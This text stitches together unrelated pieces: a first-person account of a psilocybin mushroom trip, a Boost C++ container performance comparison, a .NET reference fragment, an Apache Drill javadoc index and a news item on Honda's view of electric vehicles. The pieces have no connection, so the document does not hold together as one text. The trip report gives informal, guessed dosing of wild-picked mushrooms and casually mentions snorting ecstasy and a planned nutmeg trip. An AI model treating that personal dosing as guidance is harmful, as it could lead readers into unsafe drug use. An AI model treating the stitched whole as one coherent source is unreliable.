So, I wanted to try mushrooms, some of my friends said they would suit me really well and it'd be good for me. So, I read up and got an idea of what to expect, but it's so true you can never know until you go there yourself. My ex is a longtime devotee of mushrooms, he had a large quantity of dried ones, he always picks way more than he could ever use but there are so many in our local park in Autumn. He was taking the kids overnight and gave me a bag of mushrooms, suggested I try 2 to start with for my first time, and picked out 2 nice big ones, the biggest in the bag. If they lose a lot of size when they dry they must have been huge when fresh.
I followed some of the recommendations for a good trip, cleaned up the house a bit first and also did some practical things, like feeding my cat and dog and taking out the rubbish, things I didn't want to forget if things got really interesting.
I started at 5.30pm, and just chewed the mushrooms up with honey. I chewed them really well, about 5 minutes for each one. There was a tiny inclination to gag but I didn't think about it and they went down fine. I had no problem with the taste or texture at all, I just ate them, They were really well dried and might have even been 2 or 3 years old, I don't know if they were from last year or older.
My kids had messed up the kitchen before going out so I got on with the washing up, I was going to be alone for the trip and I wanted to have nice surroundings so that was what I did while I waited to see what would happen. At 15 minutes after taking them I suddenly had a painful pang or spasm in my stomach, and then at 6pm I heard knocking on my door. Two policemen were there, wanting to check there were no children alone in the house, someone had rung and told them there were. I was glad they had come so soon into the trip, I could talk lucidly and said yes, I'd gone to the shop on the corner and left a child in the house briefly; they could see that everything was fine and I thanked them for checking up.
They went away. I was calm and not worried, I had some friendly busy music on, I wrote in my diary a bit and could feel a buzzing charge through my whole body, especially up the back of my neck, it felt warm. It reminded me of a good acupuncture treatment but more so. But that was all. I did a few more chores around my house and danced when a song I like came on the radio. Then I felt tired and heavy and lay down a few minutes. Every time I lay down I felt the same warm rushy buzz, I thought maybe I was too busy to notice this before, I'll try being a bit slower.
Oh I also saw in the mirror that I looked cuter than usual, I felt friendly and relaxed and said hi to myself, noted that my eyes were quite dilated. The music was becoming annoying so I turned it off. I was a bit disappointed that not much was happening, by now it was 7.10 pm, more than one and a half hours into the trip. I thought I'll go for a walk with the dog and if it's not stronger by then I'll take more. What the heck I'll take more now.
I thought about the dose for a bit, all the other mushrooms in the bag were much smaller, I reckoned half the size of the ones I'd eaten. My ex thought they might be too old to be any good, but I had read that they stay potent. My boyfriend used to live in this state and he thought a standard dose would have been 30, but then he is pretty full on and likes to trip hard, whereas I am slight in build and until recently, I didn't even take any caffeine (haha, he got me back onto chocolate, and everything else he could find. cept nicotine, I have never used it and wouldn't ever go near it) so thinking about the dose, I thought if 2 big ones doesn't do much, I would want at least the same amount, that's 4 small ones, add one on for luck. I put 5 small ones in my cup and got out my honey bucket. I ate 3 quickly and immediately felt a warm rush go over my head, probably the first ones still but I decided to keep the other 2 in the cup, I could always eat them later.
I felt different walking, a bit woozy and pleasant. I also noticed I was still a bit hungry and had a slight headache, my baseline had been that anyway. So off I went for my walk. At first it was not too different from normal, although I seemed to be seeing the landscape differently, like more of a wide angle view seeing the slope of the land and just how the trees grow up out of it. But then I began noticing birds. Whatever it was about them I can't say. I could see just how their wings beat in the air as they fly, and there seemed to be more of them. OK it was around teatime, there weren't any other people in the park at this hour, but I really saw more birds than usual.
I had walked 1 km along the creek, going at a fairly steady pace, come to the road and turned back along the other side. I was enjoying the walk and felt very peaceful, before this I had been thinking about how I would describe it, what I would write in my diary, wondering what was going to happen next etc, now my mind was letting go. Gradually but suddenly too it came on more strongly, I could see beauty all around.
It was a very gentle experience, it came on so softly and kindly, it was just the nicest experience. I stopped analysing, just briefly thought, aaaah, it's all about NOW. So I sat on the ground and enjoyed the perfect, utter, beautiful perfectness of beauty of nature all around me. It was late in the day and the evening light was shining from under some clouds, this is a special kind of light I have always loved, I call it under-the-cloud-light which looks silly in writing, but it gives things a golden glow and I only ever see it near a storm or when the sun is low in the sky and there are clouds.
The park was subtly lit with this light, the grass was green, there were yellow poplar leaves scattered on the grass and the wind played with them a little, and of course there were birds. Flying birds on a dead tree taking it in turns to swoop off and go wherever, and grey galahs with bright pink necks and heads and white caps. The sky was grey too and these galahs were just so bright. All the time in the park the birds were not afraid of me, even though I came walking there with a large dog, I did not feel like they were reacting to me as a human at all. These galahs were feeding from grass seeds on the ground, they came really close. I stroked my dog gently and she stayed really still too.
The whole time I was washed in the feeling of beauty and peace, there was also an intensity about it which felt very comfortable and enjoyable, it was exciting and fun. Eventually I noticed that my back seemed to be feeling a little cold, I couldn't really feel it but I knew I was starting to get a bit too cool. We went on our way and then I saw eastern rosellas and lorikeets also feeding on the grass. Again they weren't scared of me as I walked softly by.
It was interesting to see how each plant seemed to be saying something different, and the ones with the clearest -I can't say voices, as I didn't hear sound or words- but the ones that communicated the clearest were the wild ones in the park; my neighbours' trimmed and shaped shrubs didn't have much of that quality. My garden is a bit bushy and wild so some of that communicating beauty was there, but again less than the ones in the park. This feeling of joy and beauty was by far the strongest along the stretch were the mushrooms grow, I was so happy to be walking where they come from, it was like the ones I'd eaten were singing to their soil, even though I couldn't hear it I could feel it. A truly remarkable and special experience.
So I was home again, what would I do now? I wanted to share it with someone, so I rang a friend. I had invited her over to join in or be a sitter but she thought mushrooms were too out there for her, so I wanted to give her a trip report and say how gentle and beautifully peaceful mushrooms are but she wasn't home, so I rang my boyfriend instead. He had just snorted some eccy so he was feeling pretty mellow too, I wandered round inside my house with my cordless phone, blown away by how beautiful everything was. If he was with me I'd have been gazing at him for sure, but this patch of threadbare carpet was just lovely to look at. It's yellow carpet but there was a beautiful blue haze through the air and flower patterns both on the carpet and a bit in the hazy air above it too.
Physically I could feel that my body felt a little strung up, a bit almost-nauseous and edgy in my belly, but emotionally just so relaxed and gentle and happy. I could feel the second lot of mushrooms come on, this would have been about 8.30 pm. I wanted to move, swaying and dancing, circling as I hugged myself, still talking to my darling Johnny, who was with me all the way, with insights and laughter and companionship, we talked maybe for nearly 2 hours. As the evening got dark around me, kookaburras laughed down in the park somewhere. The candles I'd lit earlier overflowed and dripped wax into my tea, which was very funny to me. I laughed till I cried.
The rush gradually leveled off and we found it was time to stop talking on the phone, we each said our kind goodbyes and there I was alone again. I still felt like sharing so I rang my friend who'd been out before, just told her the trip on mushrooms was lovely, gentle and beautiful and perfect for looking at nature, her reaction was slightly mixed, she seemed to think my trip must be over for me to be talking about it, when I said it was still happening she became slightly uncomfortable, although she'd seemed pleased that it was mild. Anyway she didn't want to talk so I didn't want to bother her, I could easily read her emotional nuances.
I rang another girlfriend, again she lives far away so my phone bill may be high for the night but it was a cheap trip anyway, the mushrooms didn't cost anything. Talking to my friend was very good, it was helpful for both of us, seeing things about past boyfriends, the insights were great. It really was useful. Unfortunately her phone cut out, by then I was sitting cosy in bed, starting to come down a bit.
I'd kept getting thirsty, going to make a cup of tea, forgetting what I was doing, that I'd need a cup, and tea bag, and to turn the kettle on, then being surprised because the sound of the water boiling was so loud. That happened a few times, but I did get 2 cups of tea. Another thing that happened when I was first talking to my girlfriend who lives far away, I saw the stones around my fireplace rearrange themselves into an unleasant looking face, it was a scary face but I wasn't scared, I just thought, oh, it's one of those scary faces people sometimes see. I have been reading absurd numbers of trip reports, it's been a valuable thing to do in preparing myself, knowing it's not uncommon to see things like this was reassuring but I was already in a calm and good frame of mind.
A few other faces appeared and while they didn't alarm me, I found them distracting and slightly unpleasant so I simply turned off the light in that room. Actually through most of the evening the only light I've had was the 5 candles in my bedroom, and now the computer, but it never seemed dark. So by now I'd spoken to all the friends I wanted to be with, I never felt the need for music and the one cd that tempted has gone missing. I already looked for it the last 2 days, so I wasn't wasting this evening looking for it, I lay on my bed and felt the energy moving through my body, then still felt like sharing the experience so I got up and wrote this trip report.
It's now almost midnight, I'm pretty much most of the way down I think, coming down has been about a 2 hour long phase but it's been gentle like the rest of the trip. It wasn't very psychedelic , except maybe for the patterns of flowers in my carpect (my carpet is plain mustard yellow in ordinary life).
What was exceptional was the beauty in everything, especially nature, and the park where the mushrooms grew, and the ease my mind let go of thought, worries, analysis- it was very special and wonderful to simply be, be present and be what I am, part of everything around me, part of nature.
I came into the exprerience with no clear expectation, only to see what mushrooms are like; when the experience looked like being less than I'd hoped I just upped the dose a bit but not over the top, and if it had gone the other way and been very strong for me I was prepared to go with that too. I have just enough experience with different substances now to know that what happens is temporary, I'll still be me when it wears off; so I have a lot of trust now and I'm not apprehensive about what I discover. Also I had told my boyfriend I was taking the trip tonight, even though he's so far away I knew I could call him any time, and my ex is experienced with mushrooms and lives nearby, I actually called him to report in a couple of times too.
I should add that I'm 36 years old and have done a heck of a lot of work on myself; I'm a student of martial arts, have done a few years of somatic yoga therapy both privately and in a closed encounter group, and have about 12 years experience giving and receiving shiatsu massage. So I feel I know my body pretty well and am in tune with myself; there's a lot of emotional stuff going on but I just face it and go with it, overall I'm an optimist who loves learning.
I've seen that sometimes people get a bit mushroomed out and don't like to take them very much any more; I LOVED this expereience, it was just so gentle. I know I keep saying it but it was like the mushrooms carried me along in the bosom of nature, it felt very nurturing and a real gift and blessing. Very different to acid and eccy- they were both good but a bit intense and edgy for me. It could be simply a matter of dose, setting and all that, but this had a subtlety about it, like the difference between eating an apple with all the tiny shades of flavour, the bit near the skin, the bit near the core, the bit that grew in the sun etc all taste different; I get this from marijuana and this time with the mushrooms, maybe because it's from something that grew, alive? A presence as well as a chemical?
I'll leave it for a bit and do another mushroom trip in maybe a month or 6 weeks, definitely not sooner than 3 weeks. I like to give things time to settle in and give the ripples a chance to die down. Insight and knowing come with waiting as well as doing. Next time I'll either do another low dose trip like this one, or go for a stronger experience, but I'll decide at the time when I know what the mood and setting are. I would like to try fresh ones. I intend a nutmeg trip sometime too but would want a longer time around it than just one night.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


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Builds a mapping for the given sequence graph |
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Direct resolution of the problem using linear algebra |
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This section provides the comparison of STL containers using augmented B+ trees with the following Boost libraries: Boost.Container and Boost.MultiIndex. Boost.Intrusive is out of scope of this comparison, since intrusive containers do not support copy semantics and, thus, they are not STL compliant.
The
Boost.Container library
provides a number of features that are currently not available in the
containers of the namespace std_ext_adv
. Boost.Container
offers almost complete support for the C++11 standard features,
such as move semantics, and backports this support to C++03 compliant
compilers. The list of other useful features includes type erasure,
recursive types and the compatibility with Boost.Interprocessor.
The containers of the namespace std_ext_adv
currently conform to the C++03 standard only.
The Boost.Container library includes a wide variety of both standard and non-standard containers that support STL interfaces. This section discusses the non-standard Boost containers with the main focus on the comparison of extensions of the STL facilities offered by both libraries.
stable_vector
Out of all the non-standard Boost containers stable_vector
is
particularly interesting, since it combines features of both array based and
dynamically allocated data structures. This container has the same interface
and the same computational complexities of operations as std::vector
.
The main advantage of stable_vector
is that its random access
iterators and references to elements are not invalidated by update operations
unless an element pointed to by an iterator or a reference is erased.
This functionality is implemented through an array that stores in its cells
pointers to nodes with elements. A node with a container element has a reverse
link to an array cell with a pointer that points to the node. An iterator of
this container remains valid, since insert and erase operations modify
the pointer array only. The nodes are not moved in the memory space and
the container elements are accessed through pointers to the nodes.
The stability of random access iterators, however, comes at the expense of
worse locality of reference compared to std::vector
.
The augmented B+ trees have two options to provide
this facility of the stable_vector
container.
The dynamically allocated B+ trees
offer iterators that have properties of both random access and bidirectional iterators.
The computational cost of some operations supporting this functionality is logarithmic.
The array based B+ trees should be more efficient provided that they implement
the key idea of stable_vector
. This variant of a B+ tree would
partition the pointer array of a stable_vector
into a list of
sub-arrays storing pointers to nodes with the container elements.
These data structures should be beneficial for algorithms processing large objects,
since operations with pointers are much cheaper in this case.
STL containers, both sequences and associative containers, using these
specialized array based B+ trees will obtain the advantage of efficient
logarithmic time insert, erase, splice and split operations that are
not achievable with stable_vector
.
flat_(multi)map/set
The associative containers flat_(multi)map/set
represent
ordered vectors that support interfaces of the matching standard containers
based on dynamically allocated red black trees. The contiguous arrangement of
elements improves the use of space and locality of reference.
These new containers offer more efficient random access iterators and
faster search by key than the standard containers. The disadvantage of
these containers is relatively high linear cost of insert and erase operations.
The data structures of the namespace std_ext_adv
take advantage
of the efficient pointer arithmetic and, thus, offer similar improvements
for the associative containers. These containers support efficient access to
the container elements by their keys and positions. Compared to
Boost.Container their random access iterators are a bit less efficient
due to logarithmic cost of moving to a distant position. Locality of reference
is also a bit worse than in array based associative containers of
Boost.Container, since augmented B+ trees implement a partition of
an array. Nevertheless, this parameter is much better than in dynamically
allocated red black trees of the standard containers. Unlike Boost array based
containers, the associative containers of the namespace std_ext_adv
do not have the disadvantage of inefficient insert and erase operations.
Additionally, they support logarithmic time split operations in the general case
and merge operations in special cases.
slist
The Boost.Container slist
compliments the C++11 container
forward_list
by adding constant time function size()
.
As a result of this feature the running time of one of the standard functions
splice_after()
increases from constant to linear. To improve
performance of a user algorithm this container provides the new
splice_after()
function with constant computational complexity.
However, this function assumes that a user algorithm controls and counts
the number of moved elements.
The sequences of the namespace std_ext_adv
support splice and
split operations with logarithmic running time without any restrictions.
Their random access iterators are more efficient and provide more extensive
set of operations than forward iterators of slist
.
In both compared libraries the STL extensions are achieved through
new types of non-standard containers. Boost.Container supports
the extensions by implementing a wide variety of containers with
a relatively small number of specific improvements in each container.
The namespace std_ext_adv
provides a small number of basic containers,
but each of them supports a wide variety of STL sequences and associative containers.
This difference between two libraries is significant for the performance of complex algorithms, since a set of N specialized containers with one efficient member function or iterator in each is normally less beneficial than one container with a set of N efficient member functions required in a user algorithm. This performance benefit is provided by advanced data structures and it is not achievable with data structures used in Boost.Container and the C++ standard library.
(+)
Boost.Container offers a number of features,
such as C++11 move semantics, type erasure and recursive data types, that are
currently not supported by the containers of the namespace std_ext_adv
.
(=)
The containers of the namespace std_ext_adv
support stable iterators of Boost stable_vector
through dynamically
allocated B+ trees and can support through specialized array based B+ trees.
(=)
Both libraries provide containers with improved
use of space and locality of reference against the standard containers
based on dynamically allocated data structures.
(=)
Both libraries offer associative containers with
random access iterators and efficient search by keys.
(-)
The array based containers of Boost.Container,
including non-standard associative containers and stable_vector
,
have inefficient linear time insert and erase operations
for a single element anywhere within a container.
(-)
Boost.Container library does not implement
optimized memory management for the array based containers.
(-)
The containers of Boost.Container do not support
general efficient splice and split operations.
(-)
Boost containers do not offer logarithmic time
accumulate()
algorithm.
(-)
The Boost.Container sequences are not completely
interchangeable due to differences in interfaces similar to the standard containers.
None of them can match the wide set of efficient operations of
std_ext_adv::sequence
.
(-)
Boost containers do not reach the level of
generalization of containers of the namespace std_ext_adv
.
This brief comparison shows that there are many useful STL extensions already implemented in the compared libraries. Other data structures, first of all augmented red black trees, can provide similar and new improvements to the C++ standard facilities.
In the general case, a new STL extension can be added to a library
if there is a performance gain for user algorithms offered by
a new data structure or by a new algorithm or there is a new useful facility,
such as random access iterators not invalidated by update operations.
This is why the challenge for every library that offers STL facilities
with extensions is to find the best implementation method that takes
advantage of any beneficial data structure that can support STL interfaces of
containers and iterators. The namespace std_ext_adv
solves
this task using the container adapters.
The Boost.Container library should offer a solution that will allow integrating not only all of the already implemented, but also future extensions provided by new data structures and algorithms. This library should be open for the maximum possible number of new STL extensions. When this solution is tested and is proven to be useful and successful it can be proposed for the C++1y STL. The new level of efficiency of the STL facilities using a wide range of data structures and algorithms will give the C++ programming language a highly competitive advantage.
Each sequence or associative container of the namespace std_ext_adv
offers a wider set of efficient operations than any matching container of
the standard and Boost.Container libraries. The performance benefit of
new containers for user algorithms can be demonstrated with the following simple test,
see the source code in the file "boost_performance.cpp"
,
that moves an iterator to a specified position and inserts a new element:
std::advance ( pos , dist ) ; // C1 constainer . insert ( pos , val_new ) ; // C2
For all the types of containers based on dynamically allocated linked lists
and red black trees the computational complexity of the first operation
C1
is O(N), C2
varies between O(1) and
O(log N). For all the types of array based containers, including
std::vector
and Boost stable_vector
,
C1
= O(1) and C2
= O(N).
Thus, the total cost of these two operations is O(N) for all of
these containers. When these two operations are performed inside a loop
the running time of the test is quadratic. For a large number of elements
such loop creates a performance bottleneck.
The augmented B+ trees, both dynamically allocated and array based,
perform much better in this test. For any of the new containers
the total running time is O(N log N), since both basic
operations have the same computational complexity
C1 = C2 =
O(log N) in the worst case.
In all the following tables sequence_array
and multiset_array
denote containers std_ext_adv::sequence
and std_ext_adv::multiset
using array based B+ trees,
sequence_list
- container std_ext_adv::sequence
using a
dynamically allocated augmented B+ tree;
boost::flat_multiset
denotes boost::container::flat_multiset
and boost::stable_vector
denotes boost::container::stable_vector
.
Tested libraries: the standard containers of MSVC++ 9, Boost.Container version 1.51.
The system parameters: Intel Core 2 Duo Processor E6400, 2.13GHz,
2.00MB of L2 Cache, 2.00GB of RAM, Windows XP 32 bits.
The first table shows values of running times of the discussed test in milliseconds against the number of elements. The results are consistent with the estimates of computational complexities.
| N | 1.0e+3 | 1.0e+4 | 1.0e+5 | 1.0e+6 | 1.0e+7 |
sequence_array |
2.7e-1 | 2.7e+0 | 3.3e+1 | 6.2e+2 | 1.4e+4 |
sequence_list |
2.7e-1 | 3.3e+0 | 5.1e+1 | 1.4e+3 | 2.2e+4 |
multiset_array |
4.0e-1 | 4.4e+0 | 6.0e+1 | 1.1e+3 | 3.1e+4 |
std::vector |
2.7e-1 | 1.6e+1 | 2.2e+3 | 3.5e+5 | - |
boost::vector |
2.1e-1 | 1.5e+1 | 2.2e+3 | 3.5e+5 | - |
boost::flat_multiset |
2.4e-1 | 1.5e+1 | 2.0e+3 | 3.0e+5 | - |
boost::stable_vector |
6.6e-1 | 1.1e+2 | 1.3e+4 | 6.2e+6 | - |
boost::list |
4.9e-1 | 1.3e+2 | 2.1e+4 | - | - |
std::list |
1.3e+0 | 2.0e+2 | 2.7e+4 | - | - |
boost::multiset |
3.0e+0 | 3.8e+2 | 4.5e+4 | - | - |
std::multiset |
4.0e+0 | 4.7e+2 | 6.4e+4 | - | - |
The efficiency of access to data stored in a container can significantly
affect the performance of user algorithms. This factor is particularly
important for dynamically allocated data structures, since they have
worse locality of reference than array based data structures
that store elements contiguously. The variation of performance
associated with locality of reference can be estimated using
the sequential algorithm std::accumulate()
, which is
applied to containers constructed in the previous test. The following table
shows values of running times in microseconds against the number of elements.
| N | 1.0e+3 | 1.0e+4 | 1.0e+5 | 1.0e+6 | 1.0e+7 |
std::vector |
6.4e+0 | 7.0e+1 | 6.9e+2 | 9.6e+3 | - |
boost::vector |
6.4e+0 | 7.0e+1 | 6.9e+2 | 9.7e+3 | - |
sequence_array |
2.9e+1 | 2.9e+2 | 3.1e+3 | 4.9e+4 | 5.6e+5 |
boost::stable_vector |
4.0e+1 | 8.8e+2 | 1.4e+4 | 7.5e+5 | - |
std::list |
2.6e+1 | 7.8e+2 | 2.3e+4 | - | - |
sequence_list |
3.0e+1 | 8.5e+2 | 2.8e+4 | 7.8e+5 | 9.3e+6 |
std::multiset |
2.7e+2 | 3.1e+3 | 5.8e+4 | - | - |
For the analysis of this performance test relative costs are
more informative than the measured absolute values. In the next table
all the running times are normalized by the mean time
of a single operation of std::vector
at N = 10,000.
| N | 1.0e+3 | 1.0e+4 | 1.0e+5 | 1.0e+6 | 1.0e+7 |
std::vector |
0.9 | 1.0 | 1.0 | 1.4 | - |
boost::vector |
0.9 | 1.0 | 1.0 | 1.4 | - |
sequence_array |
4.1 | 4.1 | 4.4 | 7.0 | 8.0 |
boost::stable_vector |
5.7 | 13.0 | 20.0 | 105.0 | - |
std::list |
3.7 | 11.0 | 33.0 | - | - |
sequence_list |
4.3 | 12.0 | 40.0 | 110.0 | 130.0 |
std::multiset |
38.0 | 44.0 | 83.0 | - | - |
The worst performance in this test shows std::multiset
based on a red black tree. Two other containers using dynamically
allocated data structures, std::list
and
sequence_list
, have better running times, however,
they increase quite sharply with the increase in the number of container elements.
The most efficient for sequential processing are vector
containers. Unlike containers based on dynamically allocated
data structures, their values of running times are relatively small
and do not vary much as the number of elements changes.
The containers std_ext_adv::sequence
and
std_ext_adv::multiset
using array based B+ trees
are less efficient than std::vector
, however,
the increase in the values of running times is consistent
with that in std::vector
.
This important fact points to good locality of reference
of the augmented array based B+ trees. For this reason
the performance of new containers remains high
even when they store large numbers of elements.
The results for Boost hybrid container stable_vector
are
quite interesting. As an array based container it is less efficient
than std::vector
and std_ext_adv::sequence
.
In this test stable_vector
has running times close to those
of containers using dynamically allocated data structures and
its relative cost is similarly sensitive to the number of elements.
The standard containers offer various implementation options for
user algorithms. In particular, an algorithm that is applied to a sequence of
elements can have two different variants using either std::list
or std::vector
. The std_ext_adv::sequence
can replace any of the standard sequences. Hence, the question arises
which variant is preferrable for an algorithm using a new container?
The results of these performance tests suggest that, normally,
a variant based on std::vector
should be the first choice,
since it offers the advantage of efficient sequential processing.
The comparison of containers and data structures of the namespace std_ext_adv
with Boost.MultiIndex is less trivial than with Boost.Container,
since the functionality of the Boost.MultiIndex library is much wider
than the functionality of any library of containers.
The Boost.MultiIndex library offers the facilities of an in-memory relational database. In Boost.MultiIndex an index represents a container or a data structure. The indices support interfaces of STL containers, however, they are not completely STL compliant. The important restrictions are applied to update operations that can be performed only through special non-standard member functions. In addition to this, the indices must remain stable after the update operations.
Several indices can be used in the class template multi_index_container
to store a data set and to provide access to the data by different keys.
Boost.MultiIndex offers efficient query and update operations for
the stored data and alleviates the need for a custom sophisticated and error prone
synchronization of indices.
An augmented B+ tree represents from the user perspective a single container
that has a structure more complex than a basic search tree. The augmented tree
stores elements of the user data set in external nodes. In internal nodes
this tree stores additional implementation specific data associated with
the user data set. These additional data help extend STL facilities through
the performance improvement of various algorithms. The method of multiple
augmenting can be summarized as follows. A balanced tree provides efficient
search operations by a key and supports STL associative containers only.
The tree augmented by the count of container elements has the extended
functionality. It adds efficient access to n-th element of a container.
This tree supports not only STL associative containers, but also STL sequences.
Yet another augmenting by the sum of values of container element adds
the efficient algorithm for the function accumulate()
.
STL containers based on the augmented B+ trees obtain member functions
with improved efficiency against containers using basic search trees.
It is also important to note that despite multiple augmenting of the B+ trees
these STL containers efficiently support search by one type of a key only.
For these reasons, each variant of an STL container using an augmented B+ tree
is equivalent to a single index of Boost.MultiIndex.
In complex applications that process a data set using several keys
a container based on an augmented B+ tree should be less efficient
than a multi_index_container
with properly selected indices.
To demonstrate an example of the superiority of Boost.MultiIndex consider
a data set of three dimensional points with coordinates {x, y, z}
.
A multi_index_container
can store the data set in a sequenced
index and provide efficient search operations for each coordinate through
three ordered indices. A container based on an augmented B+ tree,
such as multiset
, supports logarithmic search by one coordinate
and linear search by two other coordinates.
Boost.MultiIndex can
emulate a single STL container
, when the class template multi_index_container
is used with one index only.
This is a relatively simple case of the comparison of containers of two libraries.
It is similar to the comparison with the Boost.Container library.
The file "boost_performance.cpp"
includes performance
tests for STL variants of containers based on Boost.MultiIndex
indices: list
and multi_set
.
The Boost.MultiIndex containers perform slightly worse than
the matching containers of Boost.Container. The maximum difference
in the values of running times is about 20 percent.
Boost.MultiIndex random access index shows approximately
the same performance as stable_vector
of Boost.Container.
In general, advanced data structures offer more efficient operations
for user algorithms. If an algorithm supports interchangeable STL containers
then performance measurements can help choose the best container.
The other interesting feature of Boost.MultiIndex is
the emulation of complex data structures. The documentation section
Bidirectional list with fast look up
discusses an example of a multi_index_container
using
a linked list through sequenced index and a red-black tree
through ordered index.
The combination of a sequence with a red-black tree is equivalent to a B+ tree
that stores container elements in external nodes and keys in internal nodes.
The difference is that the B+ tree stores the keys in a B-tree instead of a red-black tree.
Thus, this example of the multi_index_container
with two indices is equivalent to
a dynamically allocated basic search B+ tree.
This variant of a B+ tree supports STL associative containers with bidirectional
iterators. However, unlike all the augmented B+ trees, it does not offer
any extension of STL facilities.
On the other hand, the similar combination of random access index with
ordered index does not look like a good alternative to an augmented
B+ tree with random access iterators. Compared to the discussed example,
a multi_index_container
with these two indices
improves efficiency of access to data through random access iterators.
However, this improvement is quite costly for algorithms that update the data set,
since insertion and erasure operations in random access index have linear
complexity against constant and logarithmic complexity of sequenced
and ordered indices. Moreover, this combination of indices
can be hardly more useful than a flat associative container of the
Boost.Container library that offers much better locality of reference.
In contrast, the augmented B+ trees provide the same update operations
with logarithmic running time.
The disadvantage of the Boost.MultiIndex emulation of complex data
structures is that the efficiency of a multi_index_container
operation is determined by the least efficient operation of one of its indices.
A wrong combination of indices can result in a significant loss of
performance of an application using such a multi_index_container
.
In order to successfully compete with a complex advanced data structure
each index of a multi_index_container
must provide operations
at least as efficient as the matching operations of the advanced data structure.
The other potential problem of the Boost.MultiIndex emulation is that
it can require more space than a corresponding optimally designed
complex data structure.
Boost.MultiIndex imposes restrictions on update operations
in order to preserve invariants of all indices of
a multi_index_container
. The elements of indices
that represent counterparts of STL containers can be modified only
through special non-standard member functions, such as replace()
.
The basic search B+ trees and B+ trees augmented with the count of
container elements do not have the problem of data invalidation.
It arises only for the augmented B+ trees that support logarithmic time
algorithm accumulate()
. This fact suggests that the problem
becomes more significant as the complexity of a data structure increases.
The new non-standard member function
write()
has been added to address this problem.
It matches the Boost.MultiIndex function replace()
.
The restrictions imposed on indices make it impossible to use
Boost.MultiIndex with standard containers, such as std::vector
.
It is even more important that these restritions do not allow
to take full advantage of many types of augmented data structures that
offer significant performance benefit against basic data structures.
The Boost.MultiIndex documentation mentions the option of the development of user defined indices, although the requirements have not been specified yet. The array based B+ trees cannot be used for this purpose, since they do not remain stable after update operations. The dynamically allocated B+ trees do not have this problem and, thus, they are more suitable candidates.
The section Future work discusses new ranked indices for order-statistics trees that represent augmented red-black trees. It is not clear, however, if every new augmented data structure would require its special index. In theory, the standard containers can support Boost.MultiIndex through container adapters. This approach could be more beneficial, since it would allow using any data structure that can provide interfaces of STL containers and iterators.
Revised 12 September, 2013
Copyright © 2011-2013
Vadim Stadnik
<EMAIL_ADDRESS>Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)


1 reference to CertFindType
System.Management.Automation (1)
security\nativeMethods.cs (1)
181
Security.NativeMethods.
CertFindType
dwFindType,


| Interface | Description |
|---|---|
| CloseableRecordBatch | |
| MaterializeVisitor | |
| RawFragmentBatchProvider | |
| RecordBatch |
A record batch contains a set of field values for a particular range of
records.
|
| TableFunctionContract | |
| TransferPair | |
| VectorAccessible | |
| VectorWrapper<T extends ValueVector> |
| Class | Description |
|---|---|
| AbstractBinaryRecordBatch<T extends PhysicalOperator> | |
| AbstractRecordBatch<T extends PhysicalOperator> | |
| AbstractSingleRecordBatch<T extends PhysicalOperator> |
Implements an AbstractUnaryRecordBatch where the incoming record batch is
known at the time of creation
|
| AbstractTableFunctionRecordBatch<T extends PhysicalOperator> |
Implements AbstractUnaryRecodBatch for operators that do not have an incoming
record batch available at creation time; the input is typically set up a few
steps after creation.
|
| AbstractUnaryRecordBatch<T extends PhysicalOperator> |
Base class for operators that have a single input.
|
| BatchSchema |
Historically
BatchSchema is used to represent the schema of a batch. |
| BatchSchemaBuilder | |
| DeadBuf | |
| ExpandableHyperContainer | |
| ExpressionTreeMaterializerTest | |
| FragmentWritableBatch | |
| HyperVectorWrapper<T extends ValueVector> | |
| JoinBatchMemoryManager | |
| MajorTypeSerDe | |
| MajorTypeSerDe.De | |
| MajorTypeSerDe.MajorTypeHolder | |
| MajorTypeSerDe.Se | |
| MaterializedField |
Meta-data description of a column characterized by a name and a type
(including both data type and cardinality AKA mode).
|
| RawFragmentBatch | |
| RecordBatchLoader |
Holds record batch loaded from record batch message.
|
| RecordBatchMemoryManager | |
| RecordBatchSizer |
Given a record batch or vector container, determines the actual memory
consumed by each column, the average row, and the entire record batch.
|
| RecordIterator |
RecordIterator iterates over incoming record batches one record at a time.
|
| SchemaBuilder |
A reusable builder that supports the creation of BatchSchemas.
|
| SchemalessBatch |
Empty batch without schema and data.
|
| SchemaUtil |
Utility class for dealing with changing schemas
|
| SimpleRecordBatch |
Wrap a VectorContainer into a record batch.
|
| SimpleVectorWrapper<T extends ValueVector> | |
| TestMaterializedField | |
| TestRecordBatchSizer | |
| TestRecordIterator | |
| TestVectorContainer | |
| TypedFieldId |
Declares a value vector field, providing metadata about the field.
|
| TypedFieldId.Builder | |
| VectorAccessibleComplexWriter | |
| VectorAccessibleUtilities |
VectorAccessible is an interface.
|
| VectorContainer | |
| VectorInitializer |
Prototype mechanism to allocate vectors based on expected
data sizes.
|
| VectorInitializer.AllocationHint | |
| WritableBatch |
A specialized version of record batch that can moves out buffers and preps
them for writing.
|
| Enum | Description |
|---|---|
| AbstractBinaryRecordBatch.Metric | |
| AbstractRecordBatch.BatchState | |
| BatchSchema.SelectionVectorMode | |
| RecordBatch.IterOutcome |
Describes the outcome of incrementing RecordBatch forward by a call to
RecordBatch.next() . |
Copyright © 2021 The Apache Software Foundation. All rights reserved.


Honda Boss Doesn’t Believe EVs Will Go Mainstream in the Near Future
by Elena GorganIf you imagined a very near future in which the world’s entire car fleet was electric and probably autonomous, hold your horses for a few years more. Honda boss Takahiro Hachigo doesn’t believe either is going to happen anytime soon.
Speaking with industry publication Automotive News about the company’s plans for more electric vehicles and investments in self-driving technology, Hachigo explained that neither was a priority. This might sound strange considering the fanfare around the big unveiling of the very small (and rather expensive) e at the 2019 Frankfurt Auto Show, but Honda is thinking more along the lines of “hybrid” instead of “full-on electric.”
“EVs will not be mainstream,” Hachigo says. “The hurdles to battery electric vehicles and complete autonomous driving are still quite high.”
Honda’s plans include focusing on hybrid systems as a means to reduce emissions across its entire fleet, while providing customers with a reliable compromise: lower consumption and lower emissions, but without the limitations in range and long charging times. Hybrid vehicles are widely considered a stepping stone towards fully electric, an intermediary phase that should only last a second. Ideally speaking. Honda seems to believe that it’s the best of both worlds at this stage.
It’s not automakers who push for electric vehicles, but demand that drives up their numbers, Hachigo continued. And consumers would rather not buy electric right now because the benefits don’t override the downsides.
“I do not believe there will be a dramatic increase in demand for battery vehicles, and I believe this situation is true globally. There are issues with infrastructure and hardware,” he explains. “There are different regulations in different countries, and we have to abide by them. So, it’s a must to continue research and development, but I don’t believe it will become mainstream anytime soon.”
